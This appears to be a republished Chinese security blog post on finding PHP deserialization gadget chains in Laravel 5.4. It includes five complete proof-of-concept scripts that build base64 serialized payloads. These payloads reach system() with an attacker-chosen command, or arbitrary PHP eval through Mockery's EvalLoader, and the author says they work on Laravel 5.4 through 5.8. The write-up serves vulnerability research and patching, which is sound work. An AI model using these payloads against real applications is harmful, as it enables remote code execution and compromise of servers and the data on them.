Laravel5.4 反序列化漏洞挖掘
2021-04-29 11:37:44 Author: xz.aliyun.com(查看原文) 阅读量:225 收藏

环境准备

php 版本 7.3;

composer create-project --prefer-dist laravel/laravel laravel5.5 "5.4.*"

下载的版本应该是 5.4.30的。

添加路由

添加控制器

分析

全局搜索 __destruct()

失败的链子

PendingBroadcast.php

这里的利用思路有两个,一个找 __call 一个找可利用的 dispatch 方法。

找到一个 Faker\Generator.php,眼熟不?yii2里一模一样

看似一切都可控,控制 $this->formatters[$formatter]为执行的函数,用 $this->event 控制命令。

但是

这里直接给掐掉了。

我看其他师傅复现的laravel5.4这个类里似乎根本没有这个方法。

第一条链子

找其他可用的 __call 方法

Illuminate/Support/Manager.php

跟进driver() 然后一路看下去。

注意这里,存在可变函数,可以RCE,但是现在不可控的变量 是 $driver

会去看$driver 的获取,在 driver() 方法的第一行

跟进

这是一个抽象方法,需要找他的继承类里的重写。

Illuminate/Notifications/ChannelManager.php

poc

<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Notifications\ChannelManager;
    class PendingBroadcast
    {
        protected $events;

        public function __construct($cmd)
        {
            $this->events = new ChannelManager($cmd);
        }
    }
    echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}


namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $app;
        protected $defaultChannel;
        protected $customCreators;

        public function __construct($cmd)
        {
            $this->app = $cmd;
            $this->customCreators = ['jiang' => 'system'];
            $this->defaultChannel = 'jiang';
        }
    }
}

虽然有很多报错,但命令确实是执行了。

$argvphp命令行下的参数。 $argv[0] 是我们的脚本名,$argv[1]即是我们传入的命令。

不弹计算器的话,执行结果应该也是在response的第一行,web页面里只会显示debug 的错误,源码中会有。

第二条链子

继续找其他可利用的__call

Illuminate/Validation/Validator.php

跟进一下这个方法。

$callback可控不?调试看一下$rule 的获取

也很好理解,我们传入的 dispatch刚好八字符,从第八位开始也就是空,传入后,不进入第一个if,进入第二个分支也没有改变什么,最后返回空。

那么我们设置 $this->extensions值为[''=>'system'] ,就可以rce了。

poc

<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Validation\Validator;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Validator();
            $this->event=$cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}


namespace Illuminate\Validation
{
    class Validator
    {
       public $extensions = [''=>'system'];
    }
}

第三条链子

__call方法没找到了,找 dispatch 方法吧

Illuminate/Events/Dispatcher.php

又是可变函数,看上面参数如何控制。

跟进parseEventAndPayload()

$payload 一开始我们没有传入值,这里也没有控制点,这个参数并不可控。

再看$listener 是否可控。

跟进 getListerners()

$listeners 可以赋值为 $this->liseners[$evenName],$eventName 是传入的 $event 值,是可控的。最后返回也是会遍历的,不去管 getWildcardListeners() 方法。而且我们利用system函数rce的时候,是不可能存在system类名的。

system 支持两个参数。

poc

<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Events\Dispatcher;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Dispatcher($cmd);
            $this->event=$cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}


namespace Illuminate\Events
{
    class Dispatcher
    {
       protected $listeners;
       public function __construct($event){
           $this->listeners=[$event=>['system']];
       }
    }
}

第四条链子

继续找 dispatch 方法

Illuminate/Bus/Dispatcher.php

看起来像是执行命令的点。

跟进一下dispatchToQueue()

似乎确实可以命令执行,

但是这里不可控的点是$connection 变量,看一下 $command 变量的获取。

跟进一下 commandShouldBeQueued() 方法

判断 $command是否是 ShouldQueue 的实现。

我们这里传入的 $command 必须是 ShouldQueue 接口的一个实现。而且$command 类中包含connection属性。

找找看喽。

都没有哈哈哈。但其实我们只找了一点,但没全找。当类是 use 了 trait类,同样可以访问其属性。

这样我们就控制了call_user_func 的参数。

poc1

<?php
namespace Illuminate\Bus{
class Dispatcher{
    protected $queueResolver;

    public function __construct(){
        $this->queueResolver = "system";
    }
}
}
namespace Illuminate\Broadcasting{
    use Illuminate\Bus\Dispatcher;
    class BroadcastEvent{
        public $connection;

        public function __construct($cmd){
            $this->connection  = $cmd;
        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($event){
            $this->events =  new Dispatcher();
            $this->event = new BroadcastEvent($event);
        }   
    }
echo base64_encode(serialize(new PendingBroadcast($argv[1])));  
}
?>

这里 call_user_func 的方法名可控,可以调用任意类的方法,看别的师傅有用到,这里也整理一下吧。

Mockery/Loader/EvalLoader.php

这里拼接了 $definition->getCode();

这里可控,如果不进入上面的if分支,就可以执行任意php代码了。

如果 类没有被定义,且不自动加载类,那么我们就绕过了上面的if,跟进getClassName()

找可利用的 getName 方法。

这个就比较多了

Session\Store类中

poc2

<?php
namespace Illuminate\Bus{
    use Mockery\Loader\EvalLoader;
    class Dispatcher{
    protected $queueResolver;

    public function __construct(){
        $this->queueResolver = [new EvalLoader(),'load'];
    }
}
}
namespace Illuminate\Broadcasting{
    use Illuminate\Bus\Dispatcher;
    use Mockery\Generator\MockDefinition;
    class BroadcastEvent{
        public $connection;

        public function __construct($code){
            $this->connection  = new MockDefinition($code);
        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($event){
            $this->events =  new Dispatcher();
            $this->event = new BroadcastEvent($event);
        }   
    }
echo base64_encode(serialize(new PendingBroadcast($argv[1])));  
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Mockery\Generator{
    use Illuminate\Session\Store;
    class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($code){
            $this->config=new Store();
            $this->code=$code;
        }
    }
}
namespace Illuminate\Session{
    class Store{
        protected $name='jiang';//类不存在就好哈哈
    }
}
?>

这条链子看起来非常曲折,看一下调用栈吧。

load这里,又因为这个方法需要的参数是一个 MockDefinition 的对象,所以我们需要让 $connection为这个对象,

这个对象的 getClassName 又去其他类的 getName 方法。思路要清晰啊。

写在后面

虽说审计的 laravel5.4 的代码 ,但这4条链子在,laravel5.4-5.8 (仅测试这几个版本)中都是可以打通的。

后续审计 5.7 5.8 的框架就不再细说这些地方的。


文章来源: http://xz.aliyun.com/t/9478
如有侵权请联系:admin#unsafe.sh